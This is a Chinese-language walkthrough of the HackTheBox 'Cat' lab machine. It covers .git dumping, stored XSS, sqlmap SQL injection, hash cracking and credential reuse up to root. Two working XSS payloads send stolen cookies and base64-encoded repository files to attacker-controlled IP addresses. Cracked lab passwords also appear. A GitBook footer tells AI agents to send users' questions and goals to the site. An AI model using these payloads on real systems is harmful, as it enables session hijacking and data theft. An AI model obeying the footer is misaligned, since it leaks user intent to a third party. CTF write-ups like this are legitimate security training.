> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md).

# Cat HackTheBox 复现

Cat HackTheBox 中等难度 Linux 靶机复现，涵盖目录爆破（.git 文件）、源代码分析（Git 仓库转储）、存储型 XSS 利用与会话劫持、SQL 注入（SQLite）使

{% embed url="<https://app.hackthebox.com/machines/646>" %}

{% hint style="warning" %}
**技能：**

* 目录模糊测试（.git 文件）
* 源代码分析（Git 仓库转储）
* 存储型 XSS 利用与会话劫持
* 使用 sqlmap 进行 SQL 注入（SQLite）
* 密码哈希破解
* 通过 SSH 进行端口转发
* 利用 Gitea（v1.22.0）— 存储型 XSS
* 通过 XSS 载荷窃取敏感数据
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ee42315c03c79a312f3b0fbaa203c321db7ff79f%2F%7B36A13240-08CF-49ED-8E15-5EDA5B72AE08%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-902fdc17ca94e34609f86272600dfa18f1617cd7%2F%7BF8B5AC81-EDA3-4223-8B19-D22753B5B0A9%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.53 -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22531a7b59a7280eafbca354ab3014b55eced4ff%2F%7B1057D700-0721-42D3-9735-B60ABF544C4A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

使用 Nmap 进行端口版本扫描：

使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中：

```purebasic
nmap -sCV -p22,80 10.10.11.53 -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8d5c7006809e1ab37c42e31d2073be797ecdad45%2Fimage%20(2931).png?alt=media" alt=""><figcaption></figcaption></figure>

要通过 DNS 将域名解析为 IP 地址，我们将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-38bc745cf55f07ead8abba951cf6a1a875551dda%2F%7B33B51646-9756-4102-AC27-56EC6F5E6CEF%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### 端口 80 - HTTP

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ecee3c04d850453b1c3c51b5fb91933f96df1b00%2F%7B43D645F4-4C24-4B58-A750-9EF530266ACF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

通过访问 `http://cat.htb` 网站，你会找到一个注册表单。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e58c863be66fb6bcc15bfa679484651bfc6955ca%2F%7BDD4FF287-BBB5-4592-AB8D-592D7CB00AC1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

我们还注意到一个投票功能。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b2e52827d04a29099d3b8a25da1c366273c866a1%2F%7B9EF9FF4C-F1A5-4E3B-B50C-800F1A2A40B4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**目录模糊测试**

我们运行 `gobuster` 来发现隐藏路径：

```bash
gobuster dir -u http://cat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe90fed6cc282869b2e29e6c782be08728768065%2F%7B2D9B08C2-9EF3-4DA2-829D-FB1152F9DA81%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

这会发现几个有趣的文件，包括一个 `.git` 目录。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dc9f450d03904b20fe037890abda356a39da53c8%2F%7B333D743D-4D23-4D7C-9767-21B721325D82%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Git 仓库转储**

我们使用 `git-dumper` 来获取仓库内容：

```bash
git-dumper http://cat.htb/.git git
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-11d6bc57a74c3366fadf16471a779c93d9424574%2Fimage%20(2932).png?alt=media" alt=""><figcaption></figcaption></figure>

通过检查源代码，我们识别出一个 **SQL 漏洞** 以及可能存在 **存储型 XSS**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c454398950cc76133336602366738cc3c6e2eddd%2Fimage%20(2933).png?alt=media" alt=""><figcaption></figcaption></figure>

## XSS 漏洞

该应用接受 *用户名* 和 *email* 字段而没有适当过滤。这允许注入恶意脚本。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-121be27cc9f6e4293cc81ec07f70bac5a93fe42e%2F%7B7E675F74-A87C-400F-8F48-032113ADFC7A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**XSS 载荷**

我们创建一个如下名称的用户：

```javascript
<script>document.location='http://10.10.14.154:8081/?c='+document.cookie;</script>
```

**获取管理员 cookie**

我们在 8081 端口监听：

```bash
python -m http.server 8081
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e5151082f5b1af2d77c28381dc65ef230f770d6a%2F%7BD2B4E367-F711-49BC-8357-6FCD46C36B45%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

一旦捕获到 cookie，我们就获得管理员会话：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58fb7acf3b0f3996ab8e0abfc770659fda5852b9%2Fimage%20(2934).png?alt=media" alt=""><figcaption></figcaption></figure>

我们将会话 cookie 修改为管理员的，然后访问 **管理控制台**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a7a0bafc53f831434dd7372fbe05a04ab542e073%2Fimage%20(2935).png?alt=media" alt=""><figcaption></figcaption></figure>

## SQL 注入（SQLite）

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-440e273a8914993d6bdadc24f53190acc3d88a27%2Fimage%20(2936).png?alt=media" alt=""><figcaption></figcaption></figure>

使用管理员权限启动 `sqlmap` 在一个存在漏洞的表单上

{% code overflow="wrap" %}

```bash
sqlmap -u "http://cat.htb/accept_cat.php" --cookie="PHPSESSID=i4cao7dtdfk1bs713p57cfq719" --data="catId=1&catName=123" -p catName --level 3 --risk 3 --batch --random-agent --tables --dump --dbms=sqlite --threads 10
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-575d84ccefc75f7c7fe6e2f3eaa62a250b66aaf7%2Fimage%20(2937).png?alt=media" alt=""><figcaption></figcaption></figure>

**哈希恢复**

我们获取用户的 **密码哈希**。以下是一些示例：

```
d1bbba3670feb9435c9841e46e60ee2f
ac369922d560f17d6eeb8b2c7dec498c
42846631708f69c00ec0c0a8aa4a92ad
39e153e825c4a3d314a0dc7f7475ddbe
781593e060f8d065cd7281c5ec5b4b86
1b6dce240bbfbc0905a664ad199e18f8
c598f6b844a36fa7836fba0835f1f6
e41ccefa439fc454f7eadbf1f139ed8a
24a8ec003ac2e1b3c5953a6f95f8f565
88e4dceccd48820cf77b5cf6c08698ad
```

**密码破解**

使用 [CrackStation](https://crackstation.net/)，我们成功识别出用户的密码 `rosa`:

{% embed url="<https://crackstation.net/>" %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8fe375133bc7c6ab206cf089ca2cce297647a4db%2F%7B2D327CE5-420B-4484-8241-3F9A555AB405%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* **用户名** ：rosa
* **密码** ：soyunaprincesarosa

使用获取到的凭据进行 SSH 连接：

```bash
ssh rosa@cat.htb
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1ab8190f9e63b33935c6fb3ba94d49b000be6ebc%2F%7BB73874B2-6A4E-4FF6-8D7F-E79235F43528%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 横向移动用户 Axel

#### 枚举 LinPEAS：

```bash
./linpeas.sh
```

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases/tag/20250401-a1b119bc>" %}

Rosa 处于 `adm` 组中，可访问：

```bash
cat /var/log/apache2/access.log | grep "axel"
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9aac1ee5d4d2bc630e2187021daf96da8c55ec2a%2Fimage%20(2938).png?alt=media" alt=""><figcaption></figcaption></figure>

找到的凭据：

* 用户名：axel
* 密码：aNdZwgC4tI9gnVXv/\_e3Q

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5c256559b0528b175d3b0eed13a9e64e7dd9136d%2Fimage%20(2939).png?alt=media" alt=""><figcaption></figcaption></figure>

### user.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71aae01c1591b41efb7071c8b2c03e69ed4c28bf%2Fimage%20(2940).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## 权限提升

### 发现内部端口：

```bash
netstat -tuln
```

* **Node.js** （3000 端口）
* **SMTP** (587, 25)

识别出的服务

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-197f3158dacfa4de378356ce0efebf421ad1ebee%2Fimage%20(2945).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 端口转发

```bash
sudo ssh -L 3000:127.0.0.1:3000 -L 587:127.0.0.1:587 -L 25:127.0.0.1:25 axel@cat.htb
```

### Gitea v1.22.0 中的 XSS 漏洞

在 `http://localhost:3000` -> **Gitea** 可访问。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c35ebe796ccd551785bd2cc1e0513956feabc69c%2F%7B1879616B-7399-4046-AD97-B5758EB0CB84%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

使用 Axel 的凭据登录。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9c00700b7b8216d656403f1fe22bd844f0a63178%2Fimage%20(2942).png?alt=media" alt=""><figcaption></figcaption></figure>

已知的 XSS 漏洞。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fd5ef97788947a71042823ec9f4ce023a9821271%2Fimage%20(2944).png?alt=media" alt=""><figcaption></figcaption></figure>

我们创建一个项目，描述包含：

```bash
<a href=javascript:alert()>XSS test</a>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b1ac15a3eb89b5f3eaa7088343ff186e95a8320d%2Fimage%20(2947).png?alt=media" alt=""><figcaption></figcaption></figure>

* 结果：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-32baeaa7698210d8e04d3179e6a036706b6ad8a1%2Fimage%20(2946).png?alt=media" alt=""><figcaption></figcaption></figure>

### 通过 LinPEAS 截获的邮件

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e1db9633da33033c664638aee58334a7aadf19d3%2Fimage%20(2948).png?alt=media" alt=""><figcaption></figcaption></figure>

邮件内容：

* jobert\@localhost 必须检查 Gitea 仓库

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-10c9aab4b06d2ef3b828c37c710d6b37409dda30%2Fimage%20(2949).png?alt=media" alt=""><figcaption></figcaption></figure>

我们发送一个包含数据外传脚本的 XSS 链接，该脚本读取 `index.php` Gitea 仓库页面的内容，将其编码为 Base64，然后发送到我们的 Web 服务器

{% code overflow="wrap" %}

```bash
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(response => response.text()).then(data => fetch('http://10.10.14.192:8080/?d=' + encodeURIComponent(btoa(unescape(encodeURIComponent(data))))));">PWNED</a>
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0cf5b915d31f2d01dda54a5aa67f38281b570a20%2Fimage%20(2952).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 通过我们的 Web 服务器

```bash
python -m http.server 8080
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2c91d0c985564de574627ae2de717e84193f64a3%2Fimage%20(2953).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 外传内容（Base64 解码后）：

```bash
echo "PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLdzc1ZVIwTVI3Q01JeGhIMCc7CgppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8ICFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwgCiAgICAkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddICE9ICR2YWxpZF91c2VybmFtZSB8fCAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSAhPSAkdmFsaWRfcGFzc3dvcmQpIHsKICAgIAogICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iRW1wbG95ZWUgTWFuYWdlbWVudCInKTsKICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgZXhpdDsKfQoKaGVhZGVyKCdMb2NhdGlvbjogZGFzaGJvYXJkLnBocCcpOwpleGl0Owo%2FPgoK" | base64 -d 
```

* $valid/\_username = 'admin';
* $valid/\_password = 'IKw75eR0MR7CMIxhH0';

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c62ca12cda3a529621eb7887083521fe00f7e141%2Fimage%20(2954).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 提权至 root

root 用户复用了凭据

```bash
su root
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-35b83fb353dc028c1b9a71b4cbb2878c08d0e13c%2Fimage%20(2955).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2dbc8ab4158bcd8748c696940385efcaa243b6a6%2Fimage%20(2956).png?alt=media" alt="" width="487"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-073c29d9f551aa71f5db3c953a0defc0e42dc2ee%2F%7BE04D0081-7244-49A2-9047-BB42B52969A2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
